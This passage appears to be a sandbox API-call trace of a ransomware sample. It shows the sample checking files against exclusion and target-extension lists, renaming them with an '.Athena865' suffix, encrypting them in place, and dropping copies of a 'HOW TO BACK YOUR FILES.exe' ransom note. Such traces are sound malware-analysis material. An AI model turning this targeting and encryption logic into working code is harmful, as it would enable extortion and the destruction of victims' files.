(lpString=".sys") returned 4 [0098.285] lstrcmpiW (lpString1="guest.bmp", lpString2=".sys") returned 1 [0098.285] lstrlenW (lpString="guest.bmp") returned 9 [0098.285] lstrlenW (lpString="bak") returned 3 [0098.285] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1 [0098.285] lstrlenW (lpString="ba_") returned 3 [0098.285] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1 [0098.285] lstrlenW (lpString="dbb") returned 3 [0098.285] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1 [0098.285] lstrlenW (lpString="vmdk") returned 4 [0098.285] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1 [0098.285] lstrlenW (lpString="rar") returned 3 [0098.285] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1 [0098.285] lstrlenW (lpString="zip") returned 3 [0098.285] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1 [0098.285] lstrlenW (lpString="tgz") returned 3 [0098.285] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1 [0098.285] lstrlenW (lpString="vbox") returned 4 [0098.285] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1 [0098.285] lstrlenW (lpString="vdi") returned 3 [0098.285] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1 [0098.285] lstrlenW (lpString="vhd") returned 3 [0098.285] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1 [0098.286] lstrlenW (lpString="vhdx") returned 4 [0098.286] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1 [0098.286] lstrlenW (lpString="avhd") returned 4 [0098.286] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1 [0098.286] lstrlenW (lpString="db") returned 2 [0098.286] lstrcmpiW (lpString1="mp", lpString2="db") returned 1 [0098.286] lstrlenW (lpString="db2") returned 3 [0098.286] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1 [0098.286] lstrlenW (lpString="db3") returned 3 [0098.286] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1 [0098.286] lstrlenW (lpString="dbf") returned 3 [0098.286] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1 [0098.286] lstrlenW (lpString="mdf") returned 3 [0098.286] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1 [0098.286] lstrlenW (lpString="mdb") returned 3 [0098.286] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1 [0098.286] lstrlenW (lpString="sql") returned 3 [0098.286] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1 [0098.286] lstrlenW (lpString="sqlite") returned 6 [0098.286] lstrcmpiW (lpString1="st.bmp", lpString2="sqlite") returned 1 [0098.286] lstrlenW (lpString="sqlite3") returned 7 [0098.286] lstrcmpiW (lpString1="est.bmp", lpString2="sqlite3") returned -1 [0098.286] lstrlenW (lpString="sqlitedb") returned 8 [0098.286] lstrcmpiW (lpString1="uest.bmp", lpString2="sqlitedb") returned 1 [0098.286] lstrlenW (lpString="xml") returned 3 [0098.286] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1 [0098.286] lstrlenW (lpString="$er") returned 3 [0098.286] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1 [0098.287] lstrlenW (lpString="4dd") returned 3 [0098.287] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1 [0098.287] lstrlenW (lpString="4dl") returned 3 [0098.287] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1 [0098.287] lstrlenW (lpString="^^^") returned 3 [0098.287] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1 [0098.287] lstrlenW (lpString="abs") returned 3 [0098.287] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1 [0098.287] lstrlenW (lpString="abx") returned 3 [0098.287] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1 [0098.287] lstrlenW (lpString="accdb") returned 5 [0098.287] lstrcmpiW (lpString1="t.bmp", lpString2="accdb") returned 1 [0098.287] lstrlenW (lpString="accdc") returned 5 [0098.287] lstrcmpiW (lpString1="t.bmp", lpString2="accdc") returned 1 [0098.287] lstrlenW (lpString="accde") returned 5 [0098.287] lstrcmpiW (lpString1="t.bmp", lpString2="accde") returned 1 [0098.287] lstrlenW (lpString="accdr") returned 5 [0098.287] lstrcmpiW (lpString1="t.bmp", lpString2="accdr") returned 1 [0098.287] lstrlenW (lpString="accdt") returned 5 [0098.287] lstrcmpiW (lpString1="t.bmp", lpString2="accdt") returned 1 [0098.287] lstrlenW (lpString="accdw") returned 5 [0098.287] lstrcmpiW (lpString1="t.bmp", lpString2="accdw") returned 1 [0098.287] lstrlenW (lpString="accft") returned 5 [0098.287] lstrcmpiW (lpString1="t.bmp", lpString2="accft") returned 1 [0098.287] lstrlenW (lpString="adb") returned 3 [0098.287] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0098.287] lstrlenW (lpString="adb") returned 3 [0098.287] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1 [0098.287] lstrlenW (lpString="ade") returned 3 [0098.288] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1 [0098.288] lstrlenW (lpString="adf") returned 3 [0098.288] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1 [0098.288] lstrlenW (lpString="adn") returned 3 [0098.288] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1 [0098.288] lstrlenW (lpString="adp") returned 3 [0098.288] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1 [0098.288] lstrlenW (lpString="alf") returned 3 [0098.288] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1 [0098.288] lstrlenW (lpString="ask") returned 3 [0098.288] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1 [0098.288] lstrlenW (lpString="btr") returned 3 [0098.288] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1 [0098.288] lstrlenW (lpString="cat") returned 3 [0098.288] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1 [0098.288] lstrlenW (lpString="cdb") returned 3 [0098.288] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1 [0098.288] lstrlenW (lpString="ckp") returned 3 [0098.288] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1 [0098.288] lstrlenW (lpString="cma") returned 3 [0098.288] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1 [0098.288] lstrlenW (lpString="cpd") returned 3 [0098.288] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1 [0098.288] lstrlenW (lpString="dacpac") returned 6 [0098.288] lstrcmpiW (lpString1="st.bmp", lpString2="dacpac") returned 1 [0098.288] lstrlenW (lpString="dad") returned 3 [0098.288] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1 [0098.288] lstrlenW (lpString="dadiagrams") returned 10 [0098.289] lstrlenW (lpString="daschema") returned 8 [0098.289] lstrcmpiW (lpString1="uest.bmp", lpString2="daschema") returned 1 [0098.289] lstrlenW (lpString="db-journal") returned 10 [0098.289] lstrlenW (lpString="db-shm") returned 6 [0098.289] lstrcmpiW (lpString1="st.bmp", lpString2="db-shm") returned 1 [0098.289] lstrlenW (lpString="db-wal") returned 6 [0098.289] lstrcmpiW (lpString1="st.bmp", lpString2="db-wal") returned 1 [0098.289] lstrlenW (lpString="dbc") returned 3 [0098.289] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1 [0098.289] lstrlenW (lpString="dbs") returned 3 [0098.289] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1 [0098.289] lstrlenW (lpString="dbt") returned 3 [0098.289] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1 [0098.289] lstrlenW (lpString="dbv") returned 3 [0098.289] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1 [0098.289] lstrlenW (lpString="dbx") returned 3 [0098.289] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1 [0098.289] lstrlenW (lpString="dcb") returned 3 [0098.289] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1 [0098.289] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1 [0098.289] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1 [0098.289] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.Athena865") returned 66 [0098.290] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.Athena865" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp.athena865"), dwFlags=0x1) returned 1 [0098.290] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.Athena865" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0098.291] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49208) returned 1 [0098.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539860 [0098.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a108 [0098.291] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a190) returned 1 [0098.292] CryptGenRandom (in: hProv=0x51a190, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.292] CryptReleaseContext (hProv=0x51a190, dwFlags=0x0) returned 1 [0098.292] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc340, lpName=0x0) returned 0x17c [0098.294] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc340) returned 0x100000 [0098.297] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a190) returned 1 [0098.302] CryptGenRandom (in: hProv=0x51a190, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.302] CryptReleaseContext (hProv=0x51a190, dwFlags=0x0) returned 1 [0098.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0098.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.302] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0098.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.303] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0098.303] CloseHandle (hObject=0x17c) returned 1 [0098.303] CloseHandle (hObject=0x154) returned 1 [0098.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539860 | out: hHeap=0x4f0000) returned 1 [0098.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a108 | out: hHeap=0x4f0000) returned 1 [0098.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.304] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc4836220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.304] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.304] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1 [0098.304] lstrcmpiW (lpString1="user.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.304] lstrcmpiW (lpString1="user.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.304] lstrcmpiW (lpString1="user.bmp", lpString2=".") returned 1 [0098.304] lstrcmpiW (lpString1="user.bmp", lpString2="..") returned 1 [0098.304] lstrcmpiW (lpString1="user.bmp", lpString2="windows") returned -1 [0098.304] lstrcmpiW (lpString1="user.bmp", lpString2="bootmgr") returned 1 [0098.304] lstrcmpiW (lpString1="user.bmp", lpString2="temp") returned 1 [0098.304] lstrcmpiW (lpString1="user.bmp", lpString2="pagefile.sys") returned 1 [0098.304] lstrcmpiW (lpString1="user.bmp", lpString2="boot") returned 1 [0098.304] lstrcmpiW (lpString1="user.bmp", lpString2="ids.txt") returned 1 [0098.304] lstrcmpiW (lpString1="user.bmp", lpString2="ntuser.dat") returned 1 [0098.304] lstrcmpiW (lpString1="user.bmp", lpString2="perflogs") returned 1 [0098.304] lstrcmpiW (lpString1="user.bmp", lpString2="MSBuild") returned 1 [0098.305] lstrlenW (lpString="user.bmp") returned 8 [0098.305] lstrcpyW (in: lpString1=0x241e8a6, lpString2="user.bmp" | out: lpString1="user.bmp") returned="user.bmp" [0098.305] lstrlenW (lpString="user.bmp") returned 8 [0098.305] lstrlenW (lpString="Athena865") returned 9 [0098.305] lstrlenW (lpString=".dll") returned 4 [0098.305] lstrcmpiW (lpString1="user.bmp", lpString2=".dll") returned 1 [0098.305] lstrlenW (lpString=".lnk") returned 4 [0098.305] lstrcmpiW (lpString1="user.bmp", lpString2=".lnk") returned 1 [0098.305] lstrlenW (lpString=".ini") returned 4 [0098.305] lstrcmpiW (lpString1="user.bmp", lpString2=".ini") returned 1 [0098.305] lstrlenW (lpString=".sys") returned 4 [0098.305] lstrcmpiW (lpString1="user.bmp", lpString2=".sys") returned 1 [0098.305] lstrlenW (lpString="user.bmp") returned 8 [0098.305] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.Athena865") returned 65 [0098.305] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.Athena865" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp.athena865"), dwFlags=0x1) returned 1 [0098.306] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.Athena865" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0098.306] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49208) returned 1 [0098.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539860 [0098.306] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a108 [0098.306] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a190) returned 1 [0098.307] CryptGenRandom (in: hProv=0x51a190, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.307] CryptReleaseContext (hProv=0x51a190, dwFlags=0x0) returned 1 [0098.307] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc340, lpName=0x0) returned 0x17c [0098.308] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc340) returned 0x100000 [0098.309] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a190) returned 1 [0098.310] CryptGenRandom (in: hProv=0x51a190, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.310] CryptReleaseContext (hProv=0x51a190, dwFlags=0x0) returned 1 [0098.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0098.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0098.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.311] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0098.311] CloseHandle (hObject=0x17c) returned 1 [0098.312] CloseHandle (hObject=0x154) returned 1 [0098.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539860 | out: hHeap=0x4f0000) returned 1 [0098.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a108 | out: hHeap=0x4f0000) returned 1 [0098.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.313] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 0 [0098.313] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0098.314] ReleaseMutex (hMutex=0xec) returned 1 [0098.314] CloseHandle (hObject=0xec) returned 1 [0098.314] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\Vault" | out: lpString1="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault" [0098.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f958 | out: hHeap=0x4f0000) returned 1 [0098.314] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50abc0 | out: hHeap=0x4f0000) returned 1 [0098.314] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Vault") returned 30 [0098.314] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\96B7ACAB4F293A5DA7CDFA9A351C33A6") returned 0xec [0098.314] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.314] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Vault" | out: lpString1="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault" [0098.314] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.314] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Vault\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\vault\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.315] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\vault\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.315] GetLastError () returned 0x0 [0098.315] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.315] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0098.315] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.316] CloseHandle (hObject=0xf4) returned 1 [0098.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0098.316] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.316] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0098.316] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.316] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.316] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.316] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4836220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.316] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.316] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.316] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.316] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.317] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4836220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.317] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.317] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4836220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4836220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0098.317] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0098.317] ReleaseMutex (hMutex=0xec) returned 1 [0098.317] CloseHandle (hObject=0xec) returned 1 [0098.317] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\VISIO" | out: lpString1="C:\\ProgramData\\Microsoft\\VISIO") returned="C:\\ProgramData\\Microsoft\\VISIO" [0098.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f9a0 | out: hHeap=0x4f0000) returned 1 [0098.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50abd8 | out: hHeap=0x4f0000) returned 1 [0098.317] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\VISIO") returned 30 [0098.317] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8C365B34717B5D6C2FF284EB0C4CA50C") returned 0xec [0098.317] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.317] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\VISIO" | out: lpString1="C:\\ProgramData\\Microsoft\\VISIO") returned="C:\\ProgramData\\Microsoft\\VISIO" [0098.317] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.317] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\VISIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\visio\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.318] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\VISIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\visio\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.318] GetLastError () returned 0x0 [0098.318] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.318] RtlAllocateHeap 